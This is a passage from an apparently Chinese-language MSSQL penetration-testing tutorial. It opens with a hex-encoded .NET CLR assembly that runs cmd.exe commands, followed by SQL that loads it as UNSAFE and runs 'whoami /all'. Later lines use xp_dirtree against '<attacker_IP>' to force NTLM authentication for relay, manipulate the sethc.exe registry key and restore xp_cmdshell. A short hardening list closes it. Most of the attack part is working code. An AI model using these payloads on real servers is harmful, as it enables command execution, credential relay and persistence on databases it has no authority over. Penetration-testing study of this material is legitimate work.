00007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F006D7373716C5F434C520053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468006D7373716C5F434C522E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A00200000005E54E0227F5F5E409B9302C5EA5F62E7000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006607056200000000020000001C010000E42A0000E40C000052534453F12CF9670467FE4789AA4C0BB3C9132401000000433A5C55736572735C546573745C736F757263655C7265706F735C6D7373716C5F434C525C6D7373716C5F434C525C6F626A5C44656275675C6D7373716C5F434C522E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
WITH PERMISSION_SET = UNSAFE;
GO
创建CLR函数
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]
go
利用CLR执行系统命令
exec dbo.ExecCommand "whoami /all";
格式简化后的命令如下:
-- 导入CLR插件
CREATE ASSEMBLY [clrdata]
AUTHORIZATION [dbo]
FROM 0x16进制的dll
WITH PERMISSION_SET = UNSAFE;
-- 创建CLR函数
CREATE PROCEDURE [dbo].[testclrexec]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec]
-- 利用CLR执行系统命令
exec testclrexec 'cmdexec',N'whoami'
其他组件利用
tips: 08之前的系统还可以写启动项、粘贴键替换。
xp_dirtree
xp_dirtree 主要用于列目录、文件
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录。内容会很多,慎用
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件
xp_dirtree 还可以用来触发 NTLM 请求,进行中继攻击
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
xp_subdirs
xp_subdirs 用于得到给定的文件夹内的文件夹列表
-- 列出 C:\\ 目录
exec xp_subdirs "C:\\"
xp_availablemedia
xp_subdirs用于获得当前所有驱动器
-- 列出磁盘
EXEC xp_availablemedia
xp_fileexist
主要用于判断文件是否存在的存储过程,参数是文件(file)的路径或目录的路径
-- 判断文件 D:\test.txt 是否存在
exec master.sys.xp_fileexist 'D:\test.txt'
xp_create_subdir
主要用于创建子目录的存储过程,参数是子目录的路径
-- 创建子目录 D:\test
exec master.sys.xp_create_subdir 'D:\test'
xp_delete_file
可用于删除文件的存储过程,但该存储过程不会删除任意类型的文件,系统限制它只能删除特定类型(备份文件和报表文件)的文件。
-- 删除文件
declare @Date datetime = dateadd(day,-30,getdate())
exec master.sys.xp_delete_file 0,'D:\test\','bak',@Date,0
- 第一个参数是文件类型(File Type),有效值是0和1,0是指备份文件,1是指报表文件;
- 第二个参数是目录路径(Folder Path), 目录中的文件会被删除,目录路径必须以“\”结尾;
- 第三个参数是文件的扩展名(File Extension),常用的扩展名是'BAK' 或'TRN';
- 第四个参数是Date,早于该日期创建的文件将会被删除;
- 第五个参数是子目录(Subfolder),bool类型,0是指忽略子目录,1是指将会删除子目录中的文件;
xp_regenumkeys
可以查看指定的注册表
-- 枚举可用的注册表键值
exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'
xp_regdeletekey
可以删除指定的注册表值
-- 删除指定的注册表值
EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
sp_addextendedproc
可以利用于恢复组件,如恢复xp_cmdshell。更多如下
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
删除存储过程,可以用如上方法恢复
exec sp_dropextendedproc 'xp_cmdshell'
0x05 MSSQL安全防护
1、限制数据库外联
2、禁用SA用户或设置强口令
3、禁用危险的存储过程
4、采用最小权限原则,为单独数据库设置单独用户
5、修改数据库默认端口
6、数据库服务权限不要设置为系统权限
参考文章:https://github.com/safe6Sec/PentestDB/